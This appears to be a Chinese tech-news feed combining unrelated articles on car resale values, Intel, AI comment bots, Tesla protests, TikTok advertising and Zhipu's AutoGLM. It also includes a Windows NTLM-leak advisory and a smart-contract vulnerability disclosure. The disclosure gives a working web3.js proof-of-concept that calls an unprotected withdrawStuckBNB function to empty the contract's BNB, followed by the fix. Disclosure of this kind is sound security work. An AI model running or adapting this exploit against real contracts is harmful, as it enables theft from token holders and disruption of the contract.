近日中国汽车流通协会发布《2025年2月中国汽车保值率报告》，《报告》显示中大车型保值率较高。中国汽车流通协会二手车信息部副主任陆广智表示，今年二手车市场还将面临新车价格战和行业变革的双重挑战，新车市场价格持续调整也会对二手车市场产生一定冲击。目前来看，二手车交易均价较同期有所下降，市场价格仍处于下行通道。 目前的现状是，新车价格下降挤占了二手车市场的生存空间。极低的首付进一步降低了购买新车的门槛，消费者对二手车的需求显著下降。 **MPV、中大型车和中大型SUV保值率较高，分别为59%、55.8%和55.4%。相比之下，紧凑型车、小型SUV、中型SUV等车型保值率较低，均在51%以下，其中紧凑型车保值率成绩最低，仅为48.8%。** [](//img1.mydrivers.com/img/20250401/8c18c70a41b24264851501b3a2feb161.jpg) **从保时捷保值率下降可以看出，消费者的主要需求点并不在驾驶操控方面，这类产品受到电动车的冲击很大。** 具体来说，豪华品牌保值率普遍出现小幅回升，而这得益于近年部分豪华品牌经历了多次降价，从二手市场来看，因二手车价格降幅小于指导价的降幅。 传统燃油车方面，本田和丰田保值率分别为57.3%和56.3%，环比分别提升0.7%和1.2%，依然非常的稳，这说明国人对日系品牌依然很认可。 **不过，自主品牌整体保值率有所下滑。其中，五菱品牌保值率降幅最大，由1月51.4%下降至2月46.1%，而其余国产电动车保值率依然非常严峻。** 中国汽车流通协会分析称，自主品牌保值率呈现下降趋势，与汽车品牌力、产品力、质量等方面市场表现均密切相关，上述因素都会间接反映到保值率上，这需要自主品牌重视品牌建设。 2月，插电混动车型和纯电动车型保值率分别为47%和45.2%。其中，插电混动车型保持稳定，保值率的支撑主要来自自主品牌高端车型。 [查看评论](https://m.cnbeta.com.tw/comment/1489648.htm)

Intel新任CEO陈立武首次公开亮相，在2025年度Vision大会上，向来自技术产业界的广大与会者发表演讲，阐述了重振Intel技术和制造领先地位的全面思路。陈立武在演讲中强调，凭借丰富的领导经验和深厚的行业经验，Intel将秉持以客户为中心的战略核心，利用新兴技术的进步，充分把握未来在软件、硬件和代工工程领域的巨大机遇。 [](https://img1.mydrivers.com/img/20250401/7a082b74b5a04765b63180a3b1dc8b45.jpg) 陈立武明确表示：“**作为CEO，我最重视的就是与客户交流。在我的领导下，Intel将成为一家以工程师文化为核心的公司。**我们会用心倾听客户心声，以客户需求为行动的出发点，打造帮助客户解决难题、助力客户成功的产品。” 对于大家最为关注的代工业务问题，陈立武上任之初就明确提出将坚定继续发展，不会放弃。 **陈立武将与Intel代工团队紧密协作**，优化战略，分析现状，挖掘长期增长和差异化发展的机遇。 作为Intel代工的里程碑节点，**Intel 18A制程工艺正在按既定计划推进，即将完成首个外部客户的流片，预计今年下半年发布首个采用新工艺的Panther Lake处理器，同时开始大规模量产。** 根据路线图，代号Clearwater Forest下一代至强处理器，同样会使用18A工艺。 在演讲过程中，陈立武背后的大屏幕，连续打出了**“打造世界一流代工”、“最优秀的产品才会赢”**等口号。 [](https://img1.mydrivers.com/img/20250401/bf2f181d127e4ff8a8ff7946021486e1.jpg) [](https://img1.mydrivers.com/img/20250401/0680be1806d34ed98f49d93c685d67d5.jpg) [](https://img1.mydrivers.com/img/20250401/6aa5ce4f5d1244ce8af4323a30651ca9.jpg) [](https://img1.mydrivers.com/img/20250401/efa03d127598437593743e7bb3312c18.jpg) [查看评论](https://m.cnbeta.com.tw/comment/1489646.htm)

去年，我们写过一次“评论罗伯特”，它是微博官方推出的AI机器人。只要你发了一条原创微博或者直接@它，它就会跑来评论微博。之所以写罗伯特呢，是因为它的嘴，特臭。有网友在微博上出闲置，结果东西还没卖出去，这小子来了一句：已出，谢谢老板。  有人选课抽五门，落选五门，发个微博吐槽下，结果它说： 希望下个学期也这样。  更夸张的是，它有时还会玩点牛头人的剧情。  当时微博还出现一个“罗伯特受害者联盟”的账号，专门收集罗伯特名场面。  对于罗伯特，有人感到新奇，但也有人觉得讨厌，毕竟谁愿意在未经允许的情况下，让一个嘴臭机器人跑到自己微博下已读乱回。 罗伯特最近啥样了，世超不太清楚。 倒是最近，小红书也整了一个AI叫点点，有个特性和罗伯特类似。  只要在评论区@点点，它下一秒就能和你聊上天。  要说它有多火呢…… 这两天，世超在很多AI不相干的帖子里，都看到网友们在艾特点点。 一个博主推荐了个字体，有网友艾特点点评价一番。  一哥们的骨碟卡在下水道口，结果网友们也在评论区召唤点点，让它想想办法。  小红书甚至还出现了一个现象，很多帖子点赞和收藏数不多，但是评论数几乎爆炸了。 像这个帖子，50点赞、5收藏，但有4000多条评论，全是网友在那边找点点互动。  有人问自己的MBTI，有人让它猜星座，总之来都来了，都想试试。  其实点点火的原因不难猜。 一个是新奇，这种玩法在小红书上似乎还是第一次，大家都想尝鲜。 另一个就是太有人味了。 相比嘴臭出道的罗伯特，点点的回答更偏向于抖机灵。 有人说自己好困，不想学习。点点说那就去睡，梦里学习双倍速。  在和网友诚信互夸时，它还会冷不丁来一句骚话—— “品如的衣柜都装不下你的品味”。  有人不喜欢它说话总带狗头，结果下一句立马就不带了。  有网友让它坐下，下一秒它还能“汪”出来。  哥们，玩得有点大了。 就算有时候卡bug，同样的话回复了两次，它也能圆回来。  另外，点点似乎还有多模态的能力。 前两天甲亢哥来国内直播，在现场跟人唱起小白马。 结果点点评价说：穿武磊球衣唱小白马，主打一个中西结合抽象艺术。 怎么说呢，国足球衣7号也确实是武磊，好像也没啥问题。  还有库克和一位网红合影，有网友不认识，结果点点也能识别出来。  当然点点的回复有多离谱，多像真人，还得自己上手才知道。 世超在小红书刷到一个帖子，是“微信支付”官方号发的，强调自己不是高仿。  于是我就在评论区@点点，问这号到底真的假的。 结果他蹦出来一句：V我50，帮你鉴定  好好，这么玩是吧。 我又说钱已经V过去了，来鉴定吧。  结果他也顺着我表演了：鉴定结果是真官，建议返现。 看到这里，认识“罗伯特”的网友一定会说：我擦，这不比罗伯特强？ 别说，大家都这么认为。有人觉得“罗伯特跟点点后面学一学”。 结果点点说：他学费带够了吗？  当然，这种拱火的话一旦多起来，点点的回复难免也会逐渐变态。 属于杀敌一万，自损也一万。  我已经不敢想未来AI吵架会是什么样的场景了。 也许有差友觉得，这个点点背后怕不是有一群打工人在回复。 一开始，我也觉得。 特别是看到一个帖子，问他为什么有的回有的不回，是不是系统识别到敏感话题了。 结果他来了一句：打工人身不由己，懂的都懂。 我真觉得这句话是真人回复的。  不光世超，小红书也有一堆网友也是这么想的。 于是在一个质疑贴下方，网友齐心协力，刷了近4万多条评论…… 世超大概在评论区划了2分钟，发现99%的评论点点都回复了，甚至一些“刚刚”出现的评论，点点也是“刚刚”回复。  我觉得能做到这么大的工作量，背后确实不是人类了。 以前我们说AI无法胜任人类的工作，现在明明是人类无法胜任AI的工作了。 OK，回到点点AI。 刚才世超有说到，评论功能只是点点AI一个特性，它主要功能还是结合小红书的AI搜索，需要单独下载App体验。  这次咱们就不测了，但不知道你有没有发现—— 这好像是一个不错的出圈、推广思路。 因为成本很低，用户简单地@它们，就能获得即时的、个性化的回应，很多人愿意这么去使用AI。 同时，用户在@它们后，也完成了一次“免费推广”，别的用户也会跟着做同样的事情。 这种低门槛高回报的互动模式，很容易容易形成传播效应。 像X（Twitter）的AI Grok，有一个评论功能。世超在刷Twitter时，就经常看到评论区清一色在@Grok让它评价、总结一下。 还有大众点评也有个“点小评 ”AI，世超也是在评论区看到有人@，才知道它的存在。  而且从长期来看，它还能促进用户去依赖AI，去习惯在社交媒体上艾特机器人，获取答案。 这种思路，确实有点四两拨千斤。 照这么下去，我真觉得不久之后，各家平台都要出一个评论机器人了。 [查看评论](https://m.cnbeta.com.tw/comment/1489642.htm)

据《商业内幕》报道，面对一波又一波的抗议浪潮，特斯拉公司高层为销售人员提供了指导意见。与此同时，特斯拉门店自己也制定了应对措施。  抵制特斯拉的标语 **高层轻描淡写** 针对特斯拉展厅外的破坏活动和示威，特斯拉销售人员一直在等待高层的指导意见。上周五晚间，就在200多场全球抗议活动即将举行的前一天，特斯拉员工终于收到了高层的指示。 特斯拉北美销售和服务副总裁特罗伊·琼斯(Troy Jones)向美国销售人员发送了一段视频，回应了公司面临的抗议活动，鼓励他们在“瞬息万变的环境”中保持警惕。《商业内幕》看到的视频副本显示，特斯拉对这段视频的定位是季度总结。视频中有微笑的员工、Optimus人形机器人和特斯拉自动出租车的宣传片，以及一只坐在车前座的狗。 琼斯在视频中把特斯拉销售人员称之为“公司的核心力量”。他鼓励员工相互关照，并“保持警惕”。“如果你们察觉到有什么不太对劲的地方，请不要犹豫，大胆说出来。你们的安全是重中之重。我们已经习惯了成为焦点。身处这种瞬息万变且节奏飞快的环境中，感谢你们始终对我们的客户充满热情，作为一个团队齐心协力地合作。”琼斯表示。 本月早些时候，特斯拉曾发布过另外一个季度总结视频，里面也有琼斯，但没有提到抗议活动。 七名特斯拉员工告诉《商业内幕》，公司最近向销售人员提供了通用安全指导，但不是直接针对抗议活动。 一名员工称，琼斯最近发布的视频“令人失望”。“感觉有点轻描淡写，”这名员工说道。“就这样？真的吗？” **门店措施** 一些销售人员一直依赖门店层面的指导。他们告诉《商业内幕》，门店经理指示他们避免与抗议者接触，只有当抗议者做出违法举动时才采取行动。 “总体指导意见似乎是尽快结束纠缠，因为与抗议者交流也不会带来销量。”一位销售人员称。 五名员工表示，他们曾在门店与抗议者打过交道。六名员工称，他们还必须应对骚扰电话增多和客户不满情绪的激化。 有四名员工称，他们感觉自己基本上被蒙在鼓里。一名员工表示，他们不确定如何与客户和抗议者互动。近几周，他们的销售中心发生了多次抗议活动。 另外，特斯拉在与销售团队的日常内部沟通中也没有提及抗议活动。截至发稿，特斯拉发言人尚未就此置评。琼斯也尚未就此置评。 [查看评论](https://m.cnbeta.com.tw/comment/1489640.htm)

北京时间4月1日，对于特斯拉门店遭遇的大规模抗议活动，其老板埃隆·马斯克(Elon Musk)在X上回应称，所谓的抗议者是拿钱办事的托，并奉劝他们找一份真正的工作。  马斯克在X上发帖称：“根据我目前看过的视频，这些被付费雇来的特斯拉‘抗议者’最害怕的事情，似乎是不得不去找一份真正的工作。”  马斯克的帖子 不过，有网友在马斯克的帖子下面回击称：“埃隆，我们对你的厌恶是自发的，没有人为此获得报酬。”  网友称他们真心讨厌马斯克 也有网友开玩笑称，如果抗议都能赚钱的话，他愿意兼职参加抗议活动，多赚点钱来买特斯拉。 [查看评论](https://m.cnbeta.com.tw/comment/1489638.htm)

"30款顶级渗透测试工具，助你抢先黑客一步发现致命漏洞！"

**1、****背景描述** 合约是一个在满足特定条件时在区块链上执行代码的程序，各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。  存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融（DeFi）的创新项目，旨在通过趣味性和实用性打破传统Meme代币的模式。 该合约的代币目前市值1400K（USDT），日均交易量150K（USDT） **2、****问题描述** 该合约“withdrawStuckBNB”函数没有添加权限控制，攻击者可以通过调用“withdrawStuckBNB”函数，将合约内所有BNB转至营销地址“marketingAddress”，从而导致合约交易异常。  **tips：** BNB是BNB链生态系统的原生代币，该系统包含BNB智能链（BSC）和BNB信标链。在BNB智能链上，BNB用于支付交易费用和参与网络的共识机制。BNB还被用作实用代币，使用户在Binance中心化加密货币交易所进行交易时获得交易费用的折扣。 BNB在这个合约中的作用包括：作为交易对的配对货币，用于支付交易手续费，流动性池的组成部分，以及手续费收入的分配媒介 **3、****问题代码分析** **** <pre><p>```solidity<br/>function withdrawStuckBNB() external {    <br/>bool success;    <br/>(success,) = address(marketingAddress).call{value: address(this).balance}(&#34;&#34;);<br/>}<br/>```<br/></p></pre> 在合约代码里面可以看到，`withdrawStuckBNB` 没有添加onlyOwner修饰，只有external修饰 **tips：**     Solidity语法中有4中默认函数修饰符     - public：最大访问权限，任何人都可以调用。     - private：只有合约内部可以调用，不可以被继承。     - internal：子合约可以继承和调用。     - external：外部可以调用，子合约可以继承和调用，当前合约不可以调用。 onlyOwner是该合约自定义一个修饰器，用于修饰函数，只有合约的所有者才能调用该函数。 **** 这就意味着任何人都可以调用这个函数，将合约内所有BNB转至营销地址，导致资金被盗。 **4****、后续利用链分析** 从问题代码可知，任何人都可以调用这个函数，将合约内所有BNB转至营销地址marketingAddress 查看marketingAddress的代码，marketingAddress是一个营销地址，更新marketingAddress的代码如下：  可以看到，updateMarketingAddress函数存在onlyOwner修饰，只有owner可以调用这个函数，这就意味着只有owner可以更新marketingAddress的地址。所以利用链到此截止，攻击者只能调用withdrawStuckBNB将合约内的BNB转至marketingAddress，但是marketingAddress本身只能由owner更新，所以攻击者无法更新marketingAddress的地址，从而无法将BNB转至攻击者的地址，但是漏洞也能造成合约内BNB的清空，影响合约运行。 **5、****构造POC** <pre><p><code>```javascript</code><code>const Web3 = require(&#39;web3&#39;);</code><code>// // 初始化 Web3 实例，这里使用测试网的地址，你可以根据实际情况修改</code><code>const web3 = new Web3(&#39;https://data-seed-prebsc-1-s1.binance.org:8545&#39;);</code><code>// const web3 = new Web3(&#39;https://bsc-dataseed4.binance.org/&#39;);</code><code><br/></code><code>const contractABI = [&#34;&#34;&#34;换成完整ABI&#34;&#34;&#34;];</code><code>const contractAddress = &#34;0xaaaaa&#34;; // 替换为目标合约地址</code><code>const contract = new web3.eth.Contract(contractABI, contractAddress);</code><code>console.log(&#34;connect success&#34;);</code><code><br/></code><code>// 如果使用 Node.js，需要添加私钥</code><code>const privateKey = &#39;0xbbbbbbbbbbbbbb&#39;; // 替换为你的私钥</code><code>const account = web3.eth.accounts.privateKeyToAccount(privateKey);</code><code>web3.eth.accounts.wallet.add(account);</code><code><br/></code><code>async function withdrawBNB() {</code><code>    try{</code><code>        console.log(account.address);</code><code>        const tx = {</code><code>            from: account.address, // 必须使用真实地址</code><code>            to: contractAddress,</code><code>            gas: 300000,</code><code>            data: contract.methods.withdrawStuckBNB().encodeABI()</code><code>        };</code><code><br/></code><code>        // 估算 gas</code><code>        const gas = await web3.eth.estimateGas(tx);</code><code>        tx.gas = gas;</code><code><br/></code><code>        // 获取当前 gasPrice</code><code>        const gasPrice = await web3.eth.getGasPrice();</code><code>        tx.gasPrice = gasPrice;</code><code><br/></code><code>        // 签名并发送交易（Node.js 方式）</code><code>        const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);</code><code>        const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);</code><code><br/></code><code>        console.log(&#39;Transaction Hash:&#39;, receipt.transactionHash);</code><code>        console.log(&#39;Receipt:&#39;, receipt);</code><code>    } catch (error) {</code><code>        console.error(&#34;Error:&#34;, error);</code><code>    }</code><code>    console.log(&#34;2&#34;);</code><code>}</code><code><br/></code><code>withdrawBNB();</code><code>console.log(&#34;3&#34;);</code><code>```</code><code><br/></code></p></pre> **6、****修复方案** 在withdrawStuckBNB函数中添加onlyOwner修饰，只允许owner可以调用这个函数 <pre><p>```solidity<br/>function withdrawStuckBNB() <br/>external onlyOwner <br/>{    <br/>(bool success,) <br/>= marketingAddress.call{value: address(this).balance}(&#34;&#34;);    <br/>require(success,<br/>&#34;Transfer failed&#34;);<br/>}```<br/></p></pre>   该漏洞目前已向相关单位和厂商报送并已推出补丁，使用此漏洞造成的任何攻击影响均与本文作者无关。 [原文链接](https://mp.weixin.qq.com/s/wDjly6wOmBucSo9DnmpgTw)

**1、****漏洞概述**  近日，微软发布windows操作系统更新修复漏洞，其中Windows 文件资源管理器欺骗漏洞（CVE-2025-24071、CVE-2025-24054）正被广泛利用，建议您及时开展安全风险自查。 据描述，由于windows的资源管理器默认信任libray-ms文件，支持读取此类文件进行渲染图标、缩略图和详细信息。当压缩包内存在此类文件时，用户解压包含smb（文件共享服务）路径配置的libray-ms文件，会自动被windows资源管理器内置文件解析机制解析，将受害者的NTLM身份信息发送到攻击者smb服务器。攻击者利用这种隐式信任和自动文件处理行为来泄露凭据，然后可以利用这些凭据进行哈希传递攻击或脱机 NTLM 哈希破解。攻击者可以利用该漏洞以管理员权限执行操作，包括但不限于创建新用户、修改现有用户的权限、安装恶意软件等。 漏洞影响的产品和版本： Windows Server 2022 Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows Server 2025 Windows 11 Version 24H2 for x64-based Systems Windows 11 Version 24H2 for ARM64-based Systems Windows Server 2022, 23H2 Edition (Server Core installation) Windows 11 Version 23H2 for x64-based Systems Windows 11 Version 23H2 for ARM64-based Systems Windows Server 2025 (Server Core installation) Windows 10 Version 22H2 for 32-bit Systems Windows 10 Version 22H2 for ARM64-based Systems Windows 10 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for ARM64-based Systems Windows 10 Version 21H2 for x64-based Systems Windows 10 Version 21H2 for ARM64-based Systems Windows 10 Version 21H2 for 32-bit Systems Windows Server 2022 (Server Core installation) **2、****漏洞复现** **** **** **3、****资产测绘** **** **** **4、****解决方案** **** **升级修复** **** 目前windows已发布修复安全补丁： - <pre><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071</a> <br/><br/></pre> **5、****参考链接** - <pre><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054</a> <br/><a href="https://www.ddpoc.com/DVB-2023-8999.html">https://www.ddpoc.com/DVB-2023-8999.html</a> <br/><br/></pre> [原文链接](https://mp.weixin.qq.com/s/YGzswOXWKI_0-88zKWWPkw)

<blockquote><p>尽管面临禁令风波，TikTok依然凭借其庞大的用户基础和创新的广告策略，吸引了众多广告主的关注。本文将深入探讨TikTok的广告模式，分析其如何整合亚马逊、谷歌、Facebook和YouTube等平台的优势，实现高效的用户触达和转化。</p> </blockquote>  ## 01 尽管依然笼罩着禁令风波，但我翻阅了几个第三方机构的报告发现：TikTok的发展前景依然被看好。 我认为有两个比较权威的数据源：一个是WARC，一个是eMarketer。 前者的全称是World Advertising Research Center（世界广告研究中心），以实战案例分析和营销科学模型著称；后者是数字消费行为研究权威，以多源数据校准和精准预测见长。 从用户数据看，目前TikTok是全球使用率第五高的APP，也是16-24岁女性中第二受欢迎的应用程序。而美国仍然是TikTok最大的用户市场，拥有1.36亿活跃成人账户，相当于每5个美国人就有两个人是TikTok用户。 TikTok的月度总使用量远远超过其他任何平台，2024年平均一个用户每月在TikTok上花费的时间超过35小时，是Instagram用户平均使用时间的两倍多。美国用户的使用水平甚至更高，用户平均每月在TikTok上花费近44小时，即每天花费近一个半小时。  2024年底的时候，WARC曾经对全球营销人员做过一次大调查。结果显示，大部分营销人员在2025年增加对TikTok广告投放的可能性高于任何其他数字平台，而且代理商（81%）的投放积极性比甲方品牌（74%）更高。 根据WARC的预测，若不考虑禁令影响，2025年TikTok的广告营收预计将达到324亿美元，同比增长24.5%，这个增速预计远远超过Facebook（+9.3%）和Instagram（+19%），将占据11%全球社交媒体市场。 其中，美国仍然是TikTok最大的市场，预计TikTok今年在美国的广告收入将达到118亿美元（增长21%，超过美国社交媒体广告投资整体的10.6%的增长），到2026年将增至134亿美元，这意味着TikTok的美国市场占据全球34%的份额。 我也看到了eMarketer的一份数据，因为统计口径的差异，该机构和WARC的预测有些差别：2025年，TikTok在美国广告市场营收将达147.8亿美元，全球广告营收将达347亿美元，这意味着美国市场占比达41%。 不管是34%还是41%，美国市场对TikTok来说至关重要。 ## 02 由此看来，假若禁令实施，必然对美国广告市场的竞争格局会产生巨大影响。 根据WARC的报告，Instagram是最大受益者，它将分割TikTok40%的广告营收，其次是YouTube（20%）、Facebook（15%），以及snap（10%）。  不过，这反向也透露出了一个事实，TikTok确实在美国广告市场撕开了一个大口子，动摇了alphabet和meta对广告市场的双寡头垄断。 我个人看来，这和TikTok足够锋利的广告模式有关。 在营销上，TikTok有些像金庸笔下的慕容复”以彼之道，还施彼身”，更像是一个集成的广告平台： TikTok广告= 亚马逊+谷歌+Facebook+YouTube。 TikTok能像谷歌一样捕捉用户的即时需求，通过用户行为数据预判潜在购买意向，又超越了关键词搜索的被动性，将视频媒介与搜索强意图结合。比如一个用户搜索”秋冬外套搭配”的时候，TikTok上呈现的不再是文字链接，而是15秒穿搭教程，而且视频直接展示产品上身效果，这能使广告点击率明显提升。 根据WeAreSocial的数据，全球超过一半（57%）的TikTok用户利用其搜索功能来关注或查找有关产品和品牌的信息。 TikTok也具备Facebook的一些社交属性，可以把广告内容融入到用户的关系网络中。不管是KOL测评，还是站内的挑战赛互动等形态，都可以让品牌传播通过社交裂变形成传播的扩散。 在内容载体层面，TikTok既拥有YouTube的影音表现力，又通过15秒短视频的提高了信息密度——一个精心设计的开屏广告能在数秒内用视觉冲击引发好奇，随后通过场景化演示完成产品价值传递，最后通过购物车组件直接跳转电商平台，这种短链路转化比YouTube引流至独立站，再导入亚马逊的消费路径更快且精准。 也就是说，TikTok其实把几个大平台的看家本领都学过来了：像谷歌那样捕捉用户的即时搜索需求，像脸书那样通过社交关系扩散广告，像YouTube那样用视频讲故事，最后像亚马逊那样直接在平台内完成购买。 这种「搜得到、看得懂、买得快」的特点，能让TikTok有效地承接亚马逊、脸书、谷歌等平台广告主的预算。 ## 03 TikTok至今还是被低估的，其广告价值核心在于：兼具内在转化和外在溢出。我认为，这是TikTok和其他广告平台最不一样的地方。 英国的一家数据公司Fospha的一项研究发现，在TikTok上的品牌广告活动，可以显著影响亚马逊的销售。平均而言，TikTok直接面向消费者的广告支出回报率(ROAS)为2.4倍；然而，当考虑到亚马逊的收入时，ROAS增加到4.2倍，这表明TikTok对亚马逊销售产生了前所未有的影响。 多说一句，不同于传统数据分析公司，Fospha更聚焦广告平台的 “隐性转化效率，在行业内有一个 “统一ROAS”模型，这个模型能追踪用户从TikTok广告点击到后续亚马逊/独立站购买的跨平台转化路径。 Fospha的这个结论是很有意义的，它揭示了一个关键但常被忽视的逻辑：**传统广告效果评估模型往往严重低估了上层漏斗（如品牌曝光、兴趣激发）对最终消费行为的真实影响力。** 比如广告主在TikTok上投放了信息流广告之后，基本能看清这条广告所触及的消费者，在TikTok内部的流转路径。但是在外部，这条广告触及的消费者，有没有去谷歌搜索这个品牌？有没有去脸书做了相关的话题讨论？有没有去亚马逊搜索相关产品甚至下单呢？ 由于各大平台都建立起数据围墙，导致消费决策的归因极为困难，以至于上述问题没法有效回答。 实际上，当用户在TikTok被短视频激发潜在需求后，可能数天后才在亚马逊完成购买，传统归因模型因无法跨平台追踪，只能将此次的消费转化归功于亚马逊站内流量。 这暴露出数字营销目前在归因上的一个核心矛盾：流量入口与交易终端很多时候是割裂的，如果再叠加人为的数据壁垒，就会进一步让数字营销投放的归因不准，这导致一个转化的假象陷阱：内容平台的价值往往被低估，与消费行为更近的零售媒体往往被高估。 零售媒体凭借”最后一公里”的成交优势，轻松获取归因功劳。但如同只奖励冲刺选手却忽视接力队友，那些在TikTok完成品牌认知、在谷歌完成需求确认的用户，其转化价值被粗暴归给最终点击的零售平台。 这一价值判断会进一步影响广告主的投放决策，如果广告主持续加大零售媒体投放，会进一步抬高CPC（单次点击成本），正在透支品牌的长期增长潜力，长期陷入”不投广告没流量，投了广告没利润”的死局。 所以说，TikTok等内容平台的种草价值是被低估的。 ## 04 尽管如此，TikTok的广告模式也不是完美的，我将TikTok广告模式的局限性归结为两点：标签模式和漏斗模式。 先说标签模式。 TikTok的广告算法主要基于视频内容分析与标签机制，平台通过机器学习，会抽取视频帧对其中的内容元素，包括图像、声音、文本进行识别与分析，从中提取视频的标签信息，平台会根据这些识别结果，给视频打上对应的标签。 广告素材中的标签决定了它最终会被推送给哪些人群包。 这就会有一个问题：如果视频的标签不够精准，或者素材内容过于分散，系统无法为视频打上明确的标签，广告就会被推送给不匹配的用户群体，从而导致大量的流量浪费和广告空耗。 比如，广告主制作了一条汽车的广告，其中加入了搞笑元素或者其他无关的场景。平台的算法可能会误认为这是一条搞笑视频，而将广告推送给喜欢搞笑内容的用户。最终，虽然广告得到了很高的曝光量，但这些用户并不对科技产品感兴趣，导致点击率低、转化差。 另外，TikTok的营销漏斗和Facebook完全不一样。一个是倒三角漏斗，一个是正三角漏斗。 TikTok的广告匹配机制是通过算法不断试探用户兴趣边界的动态过程，平台首先基于内容协同过滤（如观看相似视频的用户群体）建立初始受众池，再通过实时竞价机制中的engagement signals（如完播率、互动深度）来动态调整推送范围。 也就是说，TikTok是先找一群可能感兴趣的人，再慢慢缩小范围。 这种机制下，TikTok算法会优先推送广告给已经对某类商品表现出高需求的人群，但这些人群如果已经饱和，广告CTR就会低于平台基准值。这个时候，系统为追求流量规模，算法会本能地转向更宽泛的兴趣标签来维持流量消耗。例如，一个户外装备广告可能因某用户偶然点赞露营视频而被推送，但该用户实际购买意向远低于专业户外论坛的深度用户。 这种匹配逻辑与Facebook基于社交图谱和确定性数据的”种子扩散”模式形成鲜明对比，后者先锁定一小撮精准用户，然后通过lookalike建模，通过多维交叉用户特征，从而持续优化目标人群，投放的确定性更强。 总的来看，数字广告的未来正面临一个关键转折点：如果平台间的数据壁垒日益高筑，我们可能正在失去对消费者真实决策路径的理解。营销行业需要的是一套能够穿透平台壁垒、还原消费全貌的新评估体系。 作者：刀客，公众号：刀客doc 本文由 @刀客 原创发布于人人都是产品经理。未经作者许可，禁止转载 题图来自Unsplash，基于CC0协议 该文观点仅代表作者本人，人人都是产品经理平台仅提供信息存储空间服务

  头图来源：智谱    在AI智能体领域，智谱再次有所动作。   今天，智谱在中关村论坛上正式发布AutoGLM沉思，这一全新智能体不仅具备深度研究能力（Deep Research），还能实现实际操作（Operator），真正推动AI Agent进入“边想边干”的阶段。   AutoGLM沉思能够回应开放式的复杂问题，通过一边推理，一边搜索，浏览数十甚至上百个网页，总结出调理清晰的长文报告，并提供所有引用来源，让AI输出的内容切实可查。   目前，AutoGLM沉思已在智谱清言PC客户端上线，这个在ChatGPT上要花200美元的功能，在智谱清言上可以免费不限量体验。   AutoGLM沉思的技术演进路径包括：GLM-4基座模型 → GLM-Z1推理模型 → GLM-Z1-Rumination沉思模型 → AutoGLM模型。其中核心链路的模型和技术，将于4月14日正式开源，以推动行业生态发展。   “让机器像人一样思考”，智谱始终专注于AGI的基座模型研发，目前已经探索到L3-Agentic LLM阶段。   ## 什么是AutoGLM沉思？   智谱将AutoGLM沉思定位为一个能探究开放式问题，并根据结果执行操作的自主智能体（AI Agent），它能够模拟人类的思维过程，完成从数据检索、分析到生成报告。核心在于三大能力：深度思考、感知世界和工具使用。   无论是模拟人类面对复杂问题的推理过程，还是像人一样理解环境、调用工具完成任务，AutoGLM沉思都能游刃有余。   动手能力是AutoGLM沉思与Deep Research最大的区别。与OpenAI 的 Deep Research不同，它不仅能深入研究，还能真正执行任务，推动AI Agent从单纯的思考者，进化为能交付结果的智能执行者。   它能够像人类一样自动操作和浏览网页，查看如知网、小红书、公众号等优质但不对外开放API的信源，同时具有多模态理解能力，能够理解网页上的图文信息，使研究更充分。   为什么叫AutoGLM沉思？   这是因为AutoGLM 沉思背后的模型，是智谱新推出的Agent大脑——沉思模型，可以通过强化学习，让模型学会自我批评、反思、甚至沉思，并通过更长的深度思考时间换取更优的效果。   目前，AutoGLM沉思在智谱清言PC客户端上线，用户可免费体验其研究能力和操作能力。   此次发布的为 preview版本，核心支持 research 场景；在未来两周，智谱还将进一步扩展更多智能体执行能力。包括推出“虚拟机”版本。   笔者打开智谱清言客户端实测了一下，正好2025年中关村论坛到尾声了，就顺手输入了下面这个要求：「在线搜索2025年中关村论坛中的关键信息，并生成一份500字的总结。」   好家伙，在调用了8次函数，沉思了3分17秒之后，智谱清言输出了总结： <blockquote> <p>2025年中关村论坛关键信息与成果总结</p> <p>引言</p> <p>2025年中关村论坛年会于3月27日至31日在北京成功举办，主题为&#34;新质生产力与全球科技合作&#34;。作为中国科技创新领域的重要年度盛会，本届论坛吸引了来自100多个国家和地区的1000多名演讲嘉宾，为全球科技界提供了交流思想、展示成果和深化合作的重要平台。本报告将对论坛的关键信息进行总结，涵盖重大科技成果发布、论坛主题与议题、科技合作成果等方面。</p> <p>论坛概况</p> <p>举办背景与规模</p> <p>2025年中关村论坛年会经国务院批准，于3月27日至31日在北京举办。3月20日，国务院新闻办举行了新闻发布会介绍论坛相关情况[3]。论坛以&#34;新质生产力与全球科技合作&#34;为主题，旨在搭建科技成果交流和技术交易的国际合作平台[4]。</p> <p>本届论坛的举办地点包括中关村国际创新中心、首钢园等，涵盖了开幕式、全体会议、平行论坛、技术交易大会等多种形式的活动，为全球科学家、企业家和投资人提供了广泛的交流机会。</p> <p>论坛组织架构</p> <p>中关村论坛作为中国科技创新领域的重要平台，由多个部分组成：</p> <p>论坛会议：围绕人工智能、空间科学、生命健康、碳达峰碳中和、未来产业等科技前沿和热点议题，举办多场品牌性论坛和创新性论坛。</p> <p>技术交易：中关村国际技术交易大会是论坛的重要组成部分，旨在打造代表国家、面向全球的技术成果转化平台。</p> <p>成果发布：凝聚全球科技界、产业界创新合作共识，发布具有引领性的创新成果、科技政策、研究报告、科研指数等。</p> <p>前沿大赛：中关村国际前沿科技大赛是论坛的赛事板块，自2017年启动以来，已吸引海内外10000多个前沿科技项目报名参加，600多个优秀初创企业和创业团队脱颖而出，累计带动社会融资1500亿元。</p> <p>配套活动：包括企业专场、考察对接、文艺活动等，为企业家、投资人、科学家搭建促进合作的平台[5]。</p> <p>重大科技成果发布</p> <p>十项重大科技成果</p> 